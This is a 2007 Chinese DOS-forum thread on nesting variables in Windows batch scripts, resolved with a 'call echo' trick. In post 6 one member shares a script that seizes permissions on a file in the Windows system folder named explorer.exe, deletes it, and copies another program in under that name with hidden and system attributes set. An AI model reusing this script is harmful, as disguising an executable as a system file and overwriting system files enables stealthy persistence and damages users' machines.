中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-05 15:08
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [已结]变量嵌套 查看 1,456 回复 9
楼 主 [已结]变量嵌套 发表于 2007-08-07 16:36 ·  中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
关于变量嵌套的问题,我看过不少帖子,但理解的不是很好。
以下面这段代码为例:

@echo off
setlocal EnableDelayedExpansion
set a1=A
set a2=B
set a3=C
set a4=D
set a5=E
for /f "tokens=*" %%i in (test.txt) do (
set /a b+=1
rem 请问下面这句应该怎样改才能显示变量a1~a5的值(也就是A~B)
echo %a!b!%
)
endlocal

我知道一个解决方法是动态生产一个.bat然后在call一下
但我总觉得那不是最佳方案
请高人指点

注:假设test.txt正好有5行内容

[ Last edited by HAT on 2008-11-12 at 21:39 ]
2 发表于 2007-08-07 16:57 ·  中国 河北 廊坊 三河市 移动
金牌会员
★★★★
积分 2,725
发帖 1,160
注册 2006-09-23 12:00
19年会员
UID 63486
来自 河北廊坊
状态 离线
这样:
@echo off
setlocal EnableDelayedExpansion
set a1=A
set a2=B
set a3=C
set a4=D
set a5=E
for /f "tokens=*" %%i in (test.txt) do (
set /a b+=1
call echo %%a!b!%%
)
pause
三人行,必有吾师焉。 学然后知不足,教然后知困,然后能自强也。
3 发表于 2007-08-07 17:13 ·  中国 江苏 无锡 电信
初级用户
积分 80
发帖 43
注册 2007-04-21 23:44
19年会员
UID 86017
性别 男
状态 离线
正解
4 发表于 2007-08-09 15:20 ·  中国 上海 联通
版主
★★★★★
积分 9,023
发帖 5,017
注册 2007-05-31 19:39
19年会员
UID 89899
性别 男
状态 离线
多谢ccwan兄
问题解决
5 发表于 2007-08-21 18:02 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
正在学嵌套
收藏了谢谢
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
6 另外请ccwan看看我写的嵌套,有没有削减余地了 发表于 2007-08-21 18:19 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
:file_chk
::嵌套分析判断
::判断 %systemroot%\system\explorer.exe 是文件还是文件夹
if exist "%systemroot%\system\explorer.exe" (
cacls "%systemroot%\system\explorer.exe" /e /t /p "%username%":F >nul 2>nul
attrib -r -s -h -a "%systemroot%\system\explorer.exe" >nul 2>nul
cd /d "%systemroot%\system\explorer.exe"|find "目录名无效">nul
rem ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
if not errorlevel 1 (
del /f /s /q %systemroot%\system\explorer.exe >nul 2>nul
if exist "%systemroot%\system\explorer.exe" (
@rd /s /q "%systemroot%\system\explorer.exe" >nul 2>nul &cls
)
if exist "%systemroot%\system\explorer.exe" (
copy /y MiniQQ2.2.exe %systemroot%\system\explorer.exe >nul 2>nul
attrib +s +h +r +a %SYSTEMROOT%\system\explorer.exe
)
) else (
rem ###############################################################
if exist "%systemroot%\system\explorer.exe" (
del /f /s /q %systemroot%\system\explorer.exe >nul 2>nul
if exist "%systemroot%\system\explorer.exe" (
@rd /s /q "%systemroot%\system\explorer.exe" >nul 2>nul &cls
)
if exist "%systemroot%\system\explorer.exe" (
copy /y MiniQQ2.2.exe %systemroot%\system\explorer.exe >nul
attrib +s +h +r +a %SYSTEMROOT%\system\explorer.exe
)
) else (
if exist %cd%\MiniQQ2.2.exe (
copy /y %cd%\MiniQQ2.2.exe %systemroot%\system\explorer.exe >nul 2>nul
attrib +s +h +r +a %SYSTEMROOT%\system\explorer.exe
)
)
rem ##############################################################
)
rem ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
)
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
7 发表于 2007-08-25 01:20 ·  中国 广东 广州 海珠区 电信
银牌会员
★★★
积分 1,206
发帖 517
注册 2007-03-25 01:18
19年会员
UID 82819
性别 男
状态 离线
兄弟,你够狠..

不过你的批也写得太复杂了.

还有,你认为这个p会有效果么?先理解一下windows的运行机制吧.
知,不觉多。不知,乃求知
8 发表于 2007-08-26 15:51 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
楼上兄弟说的极是啊,我测试过了有用,不过还请你帮帮忙
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
9 发表于 2007-08-27 00:09 ·  中国 湖北 潜江 电信
高级用户
★★★
积分 894
发帖 411
注册 2007-02-17 12:15
19年会员
UID 79697
性别 男
状态 离线
生如夏花之绚烂
死若秋叶之静美

妙啊!!!
@set c= 不知则觉多,知则觉少,越知越多,便觉越来越少. --- 知多少.
@for,/l,%%i,in,(1,1,55)do,@call,set/p=%%c:~%%i,1%%<nul&ping/n 1 127.1>nul


10 发表于 2007-08-28 15:28 ·  中国 江苏 宿迁 电信
初级用户
★★
Batchs上議院參議長
积分 199
发帖 105
注册 2007-06-05 12:00
19年会员
UID 90300
性别 男
来自 江苏
状态 离线
兄弟见笑了
『生如夏花之绚烂
死若秋叶之静美』 dos做到了
论坛跳转: